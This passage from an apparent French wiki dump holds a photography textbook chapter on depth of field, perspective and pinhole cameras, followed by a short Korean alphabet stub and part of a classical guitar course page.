tirage minimum est égal à la disance focale '''f''' lorsque la mise au point est réglée sur l'infini, puisque dans ce cas l'image se forme dans le plan focal du même nom. Pour les autres distances de mise au point, le tirage augmente, puisque dans les conditions qui nous intéressent on a toujours '''p' > f''', d'une quantité '''D' = p' - f'''. La formule de Newton nous permet alors d'écrire : <math>D'=\frac{f^2}{p-f}</math> Dans l'immense majorité des cas, les photos sont prises depuis une distance très grande par rapport à la distance focale de l'objectif utilisé et l'on peut négliger la seconde devant la première ; le calcul qui suit n'est donc pas valable dans les cas de la proxiphotographie et de la macrophotographie. Cela donne, '''p''' étant la distance de mise au point : <math>D'=\frac{f^2}{p} \qquad \to \qquad \frac{1}{p} =\frac{D'}{f^2}</math> Quand l'objectif est monté sur une rampe hélicoïdale, l'augmentation du tirage sera proportionnelle à l'angle parcouru depuis la position correspondant à la mise au point à l'infini. La formule nous montre que les graduations de mise au point, sauf pour les distances très rapprochées quand elles sont repérées sur la bague, constitue une '''échelle d'inverses''' ou '''échelle homographique'''. Pour une distance de mise au point donnée, nous savons que la netteté sera obtenue entre les deux distances '''a''' et '''r''' qui déterminent la profondeur de champ, telles que : <math>\frac{1}{a}=\frac{1}{p}+\frac{1}{h} \qquad et \qquad \frac{1}{r}=\frac{1}{p}-\frac{1}{h}</math> Ces formules montrent que la distance de mise au point '''p''', les deux distances '''a''' et '''r''' et l'hyperfocale '''h''' peuvent être représentées très facilement sur la même échelle. Il est donc possible d'utiliser directement les valeurs de l'hyperfocale, pour les différents diaphragmes, de part et d'autre du repère de mise au point. La limite de netteté admise par la plupart des constructeurs est de l'ordre de 1/1500 ou parfois de 1/2000. [[Image:Graduation de profondeur de champ.png|600px]] Rappelons que cette graduation n'est utilisable que si la distance focale est petite devant la distance de mise au point. Si tel n'est pas le cas, la graduation principale n'est plus une échelle homographique et la précision donnée par les repères est de plus en plus médiocre. En macrophotographie, les graduations de profondeur de champ ne sont plus d'aucun secours et il faut faire appel à des tables ou à des abaques. Voici ci-dessous deux abaques correspondant aux cas généraux et à la proxiphotographie (en cliquant on obtient une version haute résolution prête à imprimer). Un abaque spécial pour la macrophotographie est donné plus loin dans le chapitre consacré à ce sujet. '''Abaque général de profondeur de champ pour un objectif de 50 mm et une netteté de 1/1500''' : [[Image:Abaque 50 mm.png|400px]] '''Abaque général de profondeur de champ à faible distance pour un objectif de 50 mm et une netteté de 1/1500''' : [[Image:Abaque 50 mm proxi.png|400px]] == Testeur de profondeur de champ == Avec les appareils réflex modernes, on vise à pleine ouverture, ce qui constitue un élément de confort non négligeable. Lorsque l'on déclenche, le diaphragme se ferme à la valeur présélectionnée puis, après que l'obturateur a fonctionné, il s'ouvre à nouveau en grand. Le '''testeur de profondeur de champ''' permet de fermer manuellement le diaphragme à une valeur donnée. Ce dispositif très simple devrait équiper systématiquement tous les appareils réflex car il est absolument indispensable ; son usage, hélas très mal compris, ne se limite absolument pas à la macrophotographie comme le croient les photographes mal informés. Les idées reçues ont la vie dure ! A vrai dire, en macrophotographie, ce système est très peu pratique, voire inutilisable, car le besoin d'une grande profondeur de champ conduit généralement à utiliser des diaphragmes très fermés, malgré le risque de diffraction. À 11, on voit déjà assez mal sur le dépoli, à 16 ou 22 l'image est si sombre que la netteté ne peut plus être appréciée, sauf peut-être pour des applications en studio ou en laboratoire. En revanche, dans tous les autres domaines, que l'on photographie un paysage, un modèle, un monument, etc., on a toujours intérêt à se rapprocher des ouvertures moyennes pour bénéficier d'une qualité optique optimale. À 5,6 ou 8, l'image reste suffisamment lumineuse pour que l'on puisse évaluer convenablement l'étendue de la netteté. La visée à pleine ouverture sur le dépoli montre une image qui correspond à une profondeur de champ très faible. Lorsque le sujet principal est en premier plan devant un décor beaucoup plus éloigné, le fond paraît flou mais lorsque le diaphragme se ferme au moment de la prise de vue, l'augmentation de profondeur de champ qui en résulte rend plus ou moins nets des éléments du décor dont la présence sur l'image peut se révéler très gênante. C'est ainsi que l'auteur de cette photo de mouches accouplées a « pris son pied » pendant la prise de vue et s'en est ensuite mordu les doigts. [[Image:Pied.jpg|300px]] Sans le pied, ça a tout de même une autre allure ! Et comme la photo est prise cette fois à moins de 3 cm (à main levée, en s'approchant très lentement et bien dans l'axe pour ne pas effaroucher les amants), le fond devient plus flou et la scène est mieux mise en valeur. [[Image:Couple.jpg|300px]] Avec le testeur de profondeur de champ, vous pourrez dire : '''pas vu, pas pris !''' == Problèmes liés au non respect de la distance orthoscopique == Lorsque l'on enseigne la perspective à des étudiants en architecture, il faut non seulement leur apprendre à tracer convenablement les diverses vues qu'ils montreront à leurs clients, mais aussi leur montrer comment, à partir de documents à deux dimensions, il est possible de '''restituer''' la disposition des objets dans l'espace. Il faut connaître pour cela un nombre minimum de données géométriques, sans quoi rien n'est possible. Ici, le jeu pourrait consister à retrouver la hauteur du tonnelet rouge, sachant que celle du tonnelet vert est de 9 cm et que les deux jouets sont posés sur un même plan horizontal. Il n'est pas gagné d'avance ! {| |- |'''A - Grand-angulaire''' | |'''B - Téléobjectif''' |- |[[Image:Perspective au grand angulaire.jpg|300px]] |..... |[[Image:Perspective au teleobjectif.jpg|300px]] |- |} Sur les deux photos A et B, l'avant du tonnelet vert a la même hauteur ; sur la photo B, les deux tonnelets ont la même hauteur. Un point de vue plus ou moins éloigné modifie les '''dimensions''' relatives, mais ce n'est pas tout, il modifie aussi les '''formes''' : les cercles sont vus sous la forme d'ellipses beaucoup plus aplaties sur la photo B que sur la photo A. [[Image:Tonnelets 2.jpg|250px]] Si l'on veut qu'une photographie restitue aussi complètement que possible la réalité, il faut l'examiner sous un angle identique à celui sous lequel le sujet était vu lors du déclenchement. Le tonnelet rouge a l'air un peu bizarre sur la photo A, il retrouverait un aspect naturel si celle-ci était examinée depuis une distance un peu inférieure à sa largeur, soit environ 9 cm sur un écran de 19 pouces. Il y a une justice pour les myopes... Pour avoir l'air naturelle, la photo B devrait être regardée d'une distance égale à environ deux fois sa diagonale, environ 25 cm sur le même écran. De très près, elle prend évidemment un allure bizarre et de très loin, elle donne l'impression que les deux tonnelets sont identiques mais posés à des hauteurs différentes. Notre cerveau, en travaillant, finira par nous convaincre que le tonneau rouge est moins haut que le vert. En fait, il mesure 7 cm. Le respect rigoureux de l'angle de prise de vue est souvent difficile, voire impossible. Imaginons un immeuble de 10 m de hauteur photographié depuis une distance de 150 m. Si, sur une photographie de format 20x30 cm, son image mesure 10 cm, alors la distance d'observation doit être également divisée par 100, ce qui donne 1,5 m. Le spectateur, n'ayant vraisemblablement pas les bras assez longs, devra poser la photo sur un support et prendre du recul. Si les photos ont été prises avec un téléobjectif puissant, il devra les regarder d'encore plus loin et, si elles ont été prises de très près avec un grand angulaire extrême, il faudra qu'il y colle le nez. Mieux : dans une salle où l'on projette des diapositives, tous les spectateurs devraient occuper le même siège et en changer à chaque fois que le photographe a changé de focale ... Mais que se passe-t-il dans la vie réelle ? * Les photographies de format « carte postale » ou plus petites sont presque toujours regardées de beaucoup trop loin, de sorte que beaucoup de leurs défauts passent inaperçus. Notre étude ne s'y applique guère et d'ailleurs, comme les statistiques le prouvent, ces « souvenirs » finissent en général au fond d'un tiroir, après qu'on les a regardés deux ou trois fois : trop peu de photographes prennent le temps d'annoter soigneusement leurs photos et de choisir celles qu'ils vont archiver. * Vous verrez parfois, dans des expositions plus ou moins prestigieuses, des photos minuscules montées sur des fonds blancs démesurés. C'est à la mode mais cette façon de faire, que l'on ne devrait jamais conseiller à des débutants car elle les empêche de progresser, est a priori suspecte quand elle devient systématique. L'œil est irrésistiblement attiré pas les zones claires d'une scène et le cadre prend alors le pas sur la photo, qui paraît alors plus sombre. Cet effet renforce celui du format trop petit, vu de trop loin, pour masquer les défauts d'une image. * Les œuvres de ceux qui font « de la photo », et non « des photos », ont été sélectionnées avec soin et agrandies dans un format plus confortable, par exemple 20x30 cm. On les observe instinctivement depuis une distance à peu près égale à leur diagonale, ce qui correspond au champ visuel réputé « normal » du genre humain. Selon ce principe, une image de 24x36 cm est regardée depuis une distance d'environ 43 cm. Pour un photographe d'âge mûr, c'est plutôt 50 cm car au fil du temps le champ visuel se rétrécit et la vision de près se dégrade. Cette distance, toujours à peu près la même, ne tient pas compte de la focale utilisée pour la prise de vue. Elle permet de conserver assez bien l'angle de vision si le photographe a utilisé, en format 24x36 mm, une focale dite « '''focale normale''' » de 45 à 50 mm, sinon, les problèmes apparaissent ! Appelons f<sub>o</sub> la focale normale correspondant au format de l'image enregistrée (43 mm pour le 24x36, 85 mm pour le 6x6, etc.) et D<sub>o</sub> la diagonale d'un agrandissement homothétique de cette image, sur papier ou sur écran. Le second grandissement sera bien sûr : <math>g'=\frac{D_o}{f_o}</math> La focale réellement utilisée à la prise de vue peut être exprimée en fonction de la focale normale, la distance orthoscopique variera dans le même rapport en fonction de D<sub>o</sub> : <math>f=kf_o \qquad \to \qquad D=kD_o</math> Naturellement, si la distance orthoscopique n'est pas respectée, l'appréciation de la netteté se trouvera profondément modifiée et avec elle, la profondeur de champ '''apparente'''. === Photographie au téléobjectif === '''Un objectif de grande distance focale ne permet en aucun cas de s'approcher du sujet, en revanche il fournit une image plus grande que si l'on utilisait une focale « normale ».''' Dans ce cas la photographie finale est généralement regardée de beaucoup trop près. Un agrandissement de 20x30 cm obtenu à partir d'un négatif de 24x36 mm (g' = 200/24) et d'un objectif de 300 mm devrait être regardé depuis une distance : <math>D= kD_o = k f_o g' = \frac{300}{43}\; 43 \;\frac{200}{24}=2500 mm= 2,5 m</math> Cette distance est évidemment beaucoup plus grande que celle qui sera généralement observée dans la réalité. Le spectateur va se rapprocher de l'image et donc percevoir comme flous des détails qui, vus à la distance orthoscopique, apparaîtraient nets. Concrètement, si l'on se place à 50 cm au lieu de 2,5 m, il faudra être 5 fois plus exigeant sur la netteté et donc adopter comme limite angulaire non plus 1/1500 mais 1/7500, ce qui change beaucoup de choses. * Pour un objectif de focale normale, une bonne qualité optique peut suffire. Pour un téléobjectif, il faut atteindre l'excellence pour que les résultats soient à la hauteur. * L'image étant regardée de beaucoup trop près, les divers plans donnent l'impression assez désagréable d'être "tassés". Pour éviter cette impression, on peut suggérer de faire une mise au point impeccable sur le sujet principal en laissant tout le reste flou. Un seul plan bien mis en valeur vaut mieux que plusieurs défectueux ; les grandes photos sont souvent les plus simples. * Un téléobjectif à la fois ouvert et très bon dès la pleine ouverture permettra d'augmenter le flou là où il faut, en diminuant la profondeur de champ, et d'éviter au contraire le flou dû à la mauvaise qualité optique et aux « bougés » (le bougé de l'appareil et celui du sujet, si celui-ci est mobile). On comprend mieux dès lors pourquoi un téléobjectif à la fois puissant, lumineux et surtout de bonne qualité dès la pleine ouverture atteint facilement le coût d'une petite voiture. === Photographie au grand-angulaire === Un objectif grand-angulaire '''oblige''' à se tenir très près du sujet, sinon celui-ci n'occupe sur l'image qu'une place insignifiante. Nous parlons ici des véritables objectifs grand-angulaires, qui sont exempts de distorsion, et non des objectifs de type « fish-eye ». Un agrandissement de 24x36 cm réalisé d'après un négatif de 24x36 mm posé derrière un objectif de 17 mm devrait être observé à 17 cm au lieu des 45 ou 50 habituels. Il est évident qu'il sera presque toujours observé de trop loin. * Un objectif médiocre donnera donc facilement des photographies flatteuses, du moins au centre, et la profondeur de champ '''paraîtra''' augmentée. En effet, en se tenant trois fois trop loin, tout se passe comme si l'on tolérait une limite de netteté divisée par 3, donc 1/500 au lieu de 1/1500. * À la distance orthoscopique, les bords de l'image sont nettement plus éloignés de l'œil que la zone centrale et vus très obliquement, ce qui diminue tout-à-fait normalement l'angle de vision pour les détails qui s'y trouvent. Ce double effet s'atténue très vite dès que la distance d'observation augmente, ce qui justifie la réputation qu'ont ces objectifs de déformer les images. On peut, bien sûr, détourner cet effet à son profit pour obtenir des photographies spectaculaires, mais dans ce cas, la notion de profondeur de champ perd toute signification ... Juste pour le plaisir des yeux ... deux photos du même bateau prises dans le port de Bordeaux, la première au 50 mm, la seconde quelques minutes plus tard au 17 mm. {| |- |'''50 mm''' | |'''17 mm''' |- |[[Image:Seabourne pride 02.jpg|350px]] |..... |[[Image:Seabourne pride 01.jpg|346px]] |- |} Tout comme pour les téléobjectifs, les très bons grand-angulaires sont des pièces d'optique très onéreuses. Le problème pour les opticiens est de trouver des formules optiques permettant de corriger en même temps toute une série d'aberrations, sans créer de vignetage et en conservant une ouverture raisonnable. == Cas particulier de la [[Photographie - Chapitre 23 - Techniques scientifiques|macrophotographie]] == Lorsque l'on photographie un paysage, une scène de rue, dans une moindre mesure un nu ou un repas de famille, la taille de l'image est très petite par rapport à la taille du sujet et le grandissement prend une valeur proche de 0. L'image se forme à une distance du centre optique ou du point nodal image à peine supérieure à la distance focale. Il n'en est pas de même en proxiphotographie et surtout en macrophotographie, domaine où par définition l'image a des dimensions égales ou supérieures à celles du sujet. Nous parlons ici, bien entendu, du grandissement obtenu lors de la prise de vue, quel que soit le format de l'épreuve définitive. Ceci sous-entend '''que l'on peut quitter le domaine de la macrophotographie en changeant de format'''. * Imaginons un insecte de 12 mm dont l'image mesure 18 mm sur un format 24x36 mm, soit la moitié de la longueur. Pas de doute, c'est bien de la macrophotographie, nous sommes au rapport de grandissement 1,5. * Sur le capteur 16x24 mm d'un appareil réflex numérique, en respectant la même proportion, l'image de l'insecte ne mesure plus que 12 mm : nous sommes maintenant au rapport 1, donc à la limite de la macrophotographie. * Sur les minuscules capteurs des appareils compacts numériques, toujours avec la même composition, on n'est plus du tout dans le domaine de la macrophotographie mais dans celui de la proxiphotographie. Avec un capteur de 12 x 9 mm, toujours en occupant la moitié de la longueur, l'image de l'insecte mesurera 6 mm seulement et le grandissement ne sera plus que de 0,5 ! Pour ces appareils, la position « macro » n'en est généralement pas une, loin de là, et cela change beaucoup de choses en ce qui concerne la difficulté des prises de vue : la profondeur de champ est énorme et l'éclairage ne pose plus guère de problème ! Le schéma qui nous a servi à établir les formules théoriques de la profondeur de champ correspondait en fait à une situation relevant de la proxiphotographie. [[Image:Profondeur de champ.jpg|500px]] <math>\frac{1}{a}=\frac{1}{p}+\frac{\epsilon\,n}{f} \qquad et \qquad \frac{1}{r}=\frac{1}{p}-\frac{\epsilon\,n}{f}</math> Les deux formules générales que nous avons précédemment établies restent évidemment valables pour un examen de l'image finale depuis la distance orthoscopique. Entre la photographie des sujets de taille importante et celle des sujets minuscules, il existe une différence fondamentale qui n'est pourtant presque jamais signalée dans la littérature photographique : * Les grands objets sont généralement plus ou moins familiers car on les côtoie, on vit éventuellement au milieu d'eux, on connaît leurs formes et leurs propriétés. C'est ainsi qu'en examinant des photographies où apparaissent des êtres humains, des arbres, des bâtiments, des animaux domestiques, etc., il est assez facile de restituer mentalement la disposition des éléments dans l'espace, d'évaluer leurs dimensions respectives ou de détecter d'éventuelles disproportions. * Les très petits objets, en revanche, demandent qu'on les découvre avant d'aller plus loin. Pour ce faire, une photographie n'est pas forcément la meilleure solution, d'autant qu'elle peut souvent être très ambiguë et donner une idée très fausse de la réalité. La troisième dimension, qui réapparaît grâce à la vision binoculaire ou à la stéréophotographie, permet de lever les doutes et parfois, de s'apercevoir que la façon dont on s'imaginait un objet à partir d'une photo était complètement erronnée ! Autrement dit, l'œil n'a plus de repère ... et généralement, quand on lui présente une macrophotographie à diverses distances, il est absolument incapable d'en ressentir les éventuelles déformations liées au non respect de la distance orthoscopique. On se trouve donc devant une alternative : ou bien la macrophotographie est destinée à un usage scientifique, il faut alors retrouver la distance orthoscopique exacte, surtout si l'on doit procéder à des mesures de dimensions ; ou bien elle n'a qu'un but d'illustration, artistique ou non, et dans ce cas la distance d'observation importe peu. C'est pourquoi nous supposerons que l'image est examinée depuis une distance égale à sa diagonale, selon une procédure désormais habituelle, et nous corrigerons en conséquence la netteté conventionnelle. * première correction : si la prise de vue se fait avec un objectif de focale normale '''f<sub>o</sub>''', l'allongement du tirage n'est plus négligeable, l'image se formant à une distance '''p'''' du centre optique telle que '''p'=f<sub>o</sub>(g+1)'''. La distance orthoscopique n'est plus '''D<sub>o</sub>''' mais '''D<sub>o</sub>(g+1)'''. * seconde correction : si la photo est prise avec une focale '''f''' différente de '''f<sub>o</sub>''', la distance orthoscopique doit être multipliée par '''f/f<sub>o</sub>'''. Nous allons en tenir compte directement en modifiant en conséquence l'angle limite de netteté : <math>\epsilon \quad \to \quad \epsilon \frac{1}{g+1} \frac{f_o}{f}</math> Il en résulte que : <math>\frac{\epsilon\,n}{f} \quad \to \quad \frac{\epsilon\,f_o\,n}{f^2(g+1)}</math> La transformation des formules générales donne alors : <math>\frac{1}{a} - \frac{1}{p} = \frac{p-a}{a\,p} = \frac{\epsilon\,f_o\,n}{f^2(g+1)} = \frac{1}{p} - \frac{1}{r} = \frac{r-p}{r\,p}</math> Dans les conditions qui sont ici les nôtres, les trois valeurs a, r et p sont très voisines, de sorte que l'on peut écrire avec une très bonne approximation : <math>\frac{r-p}{p^2} + \frac{p-a}{p^2} = 2 \frac{\epsilon\,f_o\,n}{f^2(g+1)} \quad \to \quad r-a=2 p^2 \frac{\epsilon\,f_o\,n}{f^2(g+1)}</math> En remplaçant '''p''' par sa valeur en fonction du grandissement <math>(p= \frac{(g+1)f}{g})</math>, il vient : {| cellpadding="5" border="5" |- |<math>r-a = 2 \epsilon f_o n \frac{g+1}{g^2}</math> |- |} '''Pour un format de négatif donné, lorsque l'image finale est examinée depuis une distance égale à sa diagonale, la profondeur de champ dépend du grandissement souhaité lors de la prise de vue et de l'ouverture du diaphragme mais pas de la focale de l'objectif utilisé pour la prise de vue'''. Rappelons que la focale normale '''f<sub>o</sub>''' est égale à la diagonale du format. Amateurs de calculs, attention ! '''La plupart des objectifs « macro » modernes, en particulier ceux qui permettent d'atteindre directement le rapport 1, sont en réalité des zooms'''. L'augmentation du grandissement se fait à la fois par augmentation du tirage (l'objectif avance par rapport à l'appareil) et par diminution de la distance focale. En cas de besoin, les fabricants sont en mesure de préciser la loi de variation de la distance focale et le déplacement des points nodaux en fonction du grandissement. Ainsi, un objectif «macro» de 90 mm de focale sera bien un 90 mm pour les mises au point lointaines (excellente focale pour le portrait) mais deviendra la plupart du temps un objectif de 60 ou 55 mm au rapport 1. L'abaque ci-dessous donne directement la profondeur de champ '''r-a''' '''pour le format 24x36''' en fonction du rapport de grandissement souhaité et de l'ouverture du diaphragme. En cliquant on accède à la version haute définition directement imprimable. [[Image:Abaque macro.png|300px]] == Dégradation des images et profondeur de champ == Dans tout cet exposé, comme cela a été signalé en temps utile, nous avons considéré seulement les problèmes liés à l'intersection d'un « cône de lumière » par des plans qui ne passent pas par son sommet et nous avons délibérément mis de côté toutes les autres causes qui contribuent à la formation d'une image floue. Comme toujours, à chaque fois que l'on fait des hypothèses, que l'on conçoit un modèle simplifié, on appauvrit la représentation de la réalité et notre étude n'y échappe pas. En pratique, les images seront toujours plus ou moins dégradées par un flou de bougé, par un objectif de mauvaise qualité ou endommagé, par la diffraction liée à un diaphragme trop fermé, par la granulation d'une pellicule ou la structure pixellisée d'un capteur, par un agrandissement défectueux, etc. Sans entrer ici dans le détail, signalons simplement que ces pertes de netteté supplémentaires ajoutent leurs effets à ceux que nous avons étudiés et provoquent donc une diminution de la profondeur de champ apparente. Il peut même arriver que l'image ne puisse plus être perçue nulle part comme nette et dans ce cas, la notion de profondeur de champ perd l'essentiel de son intérêt. Cette remarque en appelle une autre : lorsque l'on désire diminuer la profondeur de champ, par exemple dans le cas d'un portrait, il faut ouvrir le diaphragme en grand, ce qui reste un vœu pieux si l'on ne possède qu'un zoom ou un téléobjectif de type « économique ». Il ne faut pas oublier que si la course à la luminosité amène à construire des pièces d'optique aussi lourdes pour le porte-monnaie que pour les épaules, elle se traduit souvent, hélas, par une qualité optique médiocres aux grandes ouvertures. La dépense n'est pas justifiée si le visage du modèle est presque aussi flou que le fond. '''Il ne sert à rien qu'un objectif soit très lumineux, s'il n'est pas bon dès la pleine ouverture !''' La remarque vaut évidemment aussi pour les reporters sportifs ou les amateurs de photographies d'oiseaux qui cherchent avant tout non pas à diminuer la profondeur de champ, mais à opérer avec une vitesse aussi grande que possible. == Photographie sans objectif à l'aide d'un sténopé == Un boîtier dépourvu d'objectif mais pourvu d'un petit trou situé face à la surface sensible permet de faire des photographies, pourvu que le sujet et l'appareil ne bougent pas (sauf si l'on souhaite un effet de ''filé'', par exemple en photographiant un torrent), car les temps de pose sont très longs . La lumière qui traverse le trou vient former une tache sur la surface sensible. Cette tache n'est jamais nette, car la lumière n'est pas focalisée. Si le trou est trop gros, l'image est très floue, pour des raisons géométriques évidentes. S'il est trop petit, le temps de pose devient prohibitif et la diffraction produit de gros dégâts. L'optimum est donné par la formule : <math>d = 0,036 \sqrt{f}</math> où '''f''' est la profondeur de la chambre. Par exemple, si 400 mm séparent le trou et la surface sensible, d = 0,72 mm. La profondeur de la chambre est l'équivalent de la focale, de sorte que l'ouverture du "diaphragme" est alors : <math>\frac{p}{d} = \frac{400}{0,72} = 556</math>, ... ce qui est 10 000 fois moins "ouvert" qu'un objectif réglé à 5,6. On peut parfois envisager de faire la sieste pendant la pose. L'image donnée par le sténopé n'est jamais nette, de sorte que la notion de profondeur de champ ne s'applique pas vraiment, ou alors avec une tolérance angulaire énorme par rapport aux usages classiques. En revanche, le flou de l'image est homogène et donne alors l'impression, tant qu'il reste raisonnable, d'une profondeur de champ infinie. Il est important, pour que l'image ne soit pas inutilement dégradée dès le départ, que le trou ait des bords aussi nets que possible. Comme il est très difficile de percer une feuille de métal sans faire de bavures, mieux vaut « construire » un trou : on plante une épingle du diamètre voulu dans une plaque de polystyrène, de liège, etc... et on assemble autour d'elle, avec de la colle, huit fragments de lame de rasoir. Une fois la colle durcie, on retire l'épingle et on obtient un trou octogonal avec des bords nets, ce qui est essentiel. == Pathologies de l'œil et profondeur de champ== Des lunettes opaques percées de petits trous (lunettes sténopéiques) constituent un intéressant outil de diagnostic : elles augmentent la profondeur de champ de l'œil et améliorent la netteté des images perçues par les personnes atteintes de troubles de la réfraction ([[myopie]], [[hypermétropie]], [[presbytie]], [[astigmatisme]]). En l'absence d'amélioration, il faut envisager une autre maladie ([[cataracte]], [[rétinite]], etc.). == Voir aussi == === Liens externes === {{commons|Depth of field|profondeur de champ}} * {{en}} [http://www.dofmaster.com/dofjs.html Outil permettant de calculer la profondeur de champ] Attention ! Sur ce site les distances sont comptées à partir du plan du film et pas à partir du point nodal avant de l'objectif. Cela n'a guère d'importance pour les sujets éloignés mais les résultats sont sujets à caution dans le cas de la macrophotographie. <br clear="all" /> === Bibliographie === * Louis-Philippe Clerc, ''La technique photographique'', Paul Montel, Paris, 1934, 2{{e}} édition. : L'ouvrage est ancien, épuisé depuis longtemps, mais il a servi pendant longtemps de référence à la plupart des rédacteurs d'ouvrages sur la photographie. Les calculs de la profondeur de champ y sont limpides et toujours d'actualité, les lois de l'optique ayant parfaitement résisté au changement de millénaire. * Gérard de Vaucouleurs, Jean Dragesco et Pierre Selme, ''Manuel de photographie scientifique'', Éditions de la Revue d'optique, Paris, 1956. : La profondeur de champ et la distance hyperfocale sont traitées en une page et demi, c'est clair, net et précis, sans évoquer en quoi que ce soit le « cercle de confusion » qui fait tant de ravages dans les esprits. * Jean Cruset, ''Leçons d'optique appliquée et de photographie'', École nationale des sciences géographiques, 1966, Paris, 4{{e}} édition. : C'est de l'optique géométrique et physique pure et dure, il faut suivre ... * André Moussa et Paul Ponsonnet, ''Cours de Physique - Optique'', André Desvigne, Lyon, 7{{e}} édition, 1975. : Même remarque ! * Paul Kowaliski, chercheur aux Laboratoires Kodak-Pathé, ''Théorie photographique appliquée'', Masson, Paris, 1972. : Pour lecteurs très avertis uniquement. == Photographies en réserve == <gallery> Image:Karachi - Pakistan-market.jpg Image:Red-knobbed.starfish.arp.jpg Image:FrostyLeaf.jpg Image:Watermelons.jpg Image:Clitocybe nebularis group.jpg Image:Malawi n3.jpg Image:Bloom.jpg Image:Graz University-Library reading-room.jpg Image:Colorfull.jpg Image:Handstrichziegel -Trocknung der Ziegel (Aliwal North, Dukatole).jpg Image:Sturnella neglecta1.jpg Image:Head Peacock.jpg Image:Beachcombers.jpg Image:MyEYE.jpg Image:Yoyogi-park10.jpg Image:Sounds Makuhari.jpg Image:Jonquil11.jpg Image:Jonquil12.jpg Image:Jonquil09.jpg Image:ClosePoppy.jpg Image:Coragyps atratus NBII.jpg Image:Mass food production.jpg Image:Mass food production02.jpg Image:Menschliches auge.jpg Image:Iris.eye.225px.jpg Image:Red mushroom.jpg Image:Red Tulips.jpg Image:Tillandsia-insignis.jpg Image:Vue depuis l'entrée Les Horizons.JPG Image:Crocus stamens.jpg Image:Bloodshot eye.jpg Image:Gischt bei Calp.jpg Image:Venezia carnevale 7.jpg Image:Sion valere.jpg Image:Boats Summer Palace.jpg Image:Champs Elysees Grande Roue p1040788.jpg Image:Champs Elysees Grande Roue p1040778.jpg Image:Champs Elysees Grande Roue p1040793.jpg Image:Remebrance poppy ww2 section of Aust war memorial.jpg Image:Eye iris.jpg Image:Rainbow beads.jpg Image:Budapest Elisabeth bridge2 BÅn.JPG Image:Champlain Valley Vermont USA1.jpg Image:Eyeball.png Image:Iris-1-cp.png Image:Astilbe - by Marie Richie.jpg Image:Ice Flower.jpg Image:Nephila inaurata dsc07682.jpg Image:KirkjubaejarklausturFloor.jpg </gallery> Enseignement du coréen 4962 38531 2006-03-21T23:51:49Z 210.176.2.234 +interlang ==L'alphabet [[:w:hangul|hangul]]== Contrairement à ce qu'on pourrait croire ''a priori'', l'écriture coréenne n'est pas formée d'idéogrammes comme le chinois. Il s'agit bel et bien d'un alphabet, créé au XVe siècle par le roi [[:w:Sejong le Grand|Sejong le Grand]] et un collège de savants. ===Les consonnes=== [[Image:Korean_consonants.jpg|thumb|les 14 consonnes]] {| !N°!!Nom!!Son |- |1||기역 (giyeok)|| |- |2||니은 (nieun)|| |- |3||디귿 (digeut)|| |- |4||리을 (rieul)|| |- |5||미음 (mieum)|| |- |6||비읍 (bieup)|| |- |7||시옷 (siot)|| |- |8||이응 (ieung)|| |- |9||지읒 (jieut)|| |- |10||치읓 (chieut)|| |- |11||키읔 (kieuk)|| |- |12||티읕 (tieut)|| |- |13||피읖 (pieup)|| |- |14||히읗 (hieut)|| |} ===Les voyelles=== ===La composition des syllabes=== ====Avec voyelles verticales==== ====Avec voyelles horizontales==== ====Avec batchim==== ====Avec batchim double==== ==Vocabulaire de base== *[[:w:Image:100 mots coréens.JPG|Image:100 mots coréens.JPG]] [[Catégorie:Langue|Coréen]] [[de:Koreanisch]] [[en:Korean]] [[ja:朝鮮語]] [[pl:Koreański]] [[zh:韩语]] Wikiversité:Guitare classique 4963 41097 2006-04-28T09:32:12Z 80.9.94.237 /* [[Pourquoi jouer de la guitare ?]] */ '''Bienvenue sur la page du Département Guitare classique de la Faculté de Musique de la Wikiversité !''' ==[[Pourquoi jouer de la guitare ?]]== Ça c'est une bonne question ! Je dirais que c'est faire entendre ce qui se passe en nous... et ceci serait, du reste, valable pour tout instrument de musique. Par ailleurs, la guitare présente à la fois une '''tessiture''' relativement étendue (trois octaves sur les douze cases les plus accessibles du manche), une large palette de sonorités et '''nuances''', ainsi que des '''possibilités polyphoniques''' assez vastes (jusqu'à six sons en même temps). La guitare présente donc une grande '''polyvalence''' : elle permet aussi bien de jouer une mélodie seule, que d'accompagner un autre instrument, le chant ou une autre guitare, voire de "s'accompagner" elle-même, avec une grande '''liberté d'interprétation'''. Elle dispose par ailleurs d''''un large répertoire''', aussi bien du point de vue historique que géographique. Tous ces atouts en font un instrument de choix pour une pratique diversifiée de la musique ; en cela, elle serait comparable au piano. Un autre avantage, qui n'est pas trivial pour le débutant, est le '''coût raisonnable''' d'une guitare d'étude, et même d'un instrument d'assez bon niveau. Enfin, son '''encombrement réduit''' permet au guitariste, quel que soit son niveau, d'utiliser dans presque toutes les circonstances l'instrument auquel il est habitué ou attaché. On peut cependant reprocher à la guitare son '''faible volume sonore''' - qui limite ses possibilités en orchestre tant qu'elle n'est pas amplifiée. Toutefois, cet inconvénient se résout de lui-même à l'époque actuelle... Il devient même un avantage considérable lorsque le guitariste affronte chez lui une difficulté technique, ou une pièce en particulier, et veut préserver son entourage. Elle est ainsi l'amie du musicien, mais aussi de ses voisins ! ==[[Professeurs et universités]]== Professeurs et/ou Université reconnu pour le haut niveau de leurs étudiants en guitare. ===Allemagne=== *[[Hochschule für Musik Köln]] *[[Hochschule für Musik FRANZ LISZT]] - [[Weimar]] [[Thomas Müller-Pering]] Appréciation: ===France=== *[[Conservatoire National Superieur de Musique et de Danse de Paris]] [http://fr.wikipedia.org/wiki/Conservatoire_de_Paris Lien Wikipedia] *[[Ecole Normale de Musique de Paris - Alfred Cortot]] [http://fr.wikipedia.org/wiki/%C3%89cole_normale_de_musique_de_Paris Lien Wikipedia] [[Alberto Ponce]], depuis 1962. Appréciation: ===Finlande=== *[[Académie Sibelius]] ===Pays-Bas=== *[[Conservatorium Maastricht]] [[Carlo Marchione]], depuis 2001. *[[Koninklijk Conservatorium voor muziek en dans]] [[Zoran Dukić]] (*1969, Zagreb) ===Suède=== *[[Kungliga Musikhögskolan]] [[Magnus Andersson]] Dédicataire et comanditaire de nombreuses oeuvres (brian ferneyhough, etc.), Magnus Andersson se consacre exclusivement à la musique contemporaine. Il dirige également un festival annuel de musique contemporaine. ==[[Technique(guitare)|Technique]]== ==Répertoire de la première moitié du XIX siècle== ====[[Répertoire]]==== ====Guitare romantique ou moderne ?==== ====Editions==== ====Interprétation==== ==Musique contemporaine== ====[[Répertoire]]==== =====Alberto Ginastera, Sonate pour guitare===== ======Les éditions disponibles====== ======Le manuscrit====== ======Article de Richard Stover====== ======Enregistrements====== ====[[Technique]]==== ====Interprétation==== ==Musique de chambre== ====[[Duo de guitares]]==== ====[[Trio et quatuor guitares]]==== ====[[Duo flûte et 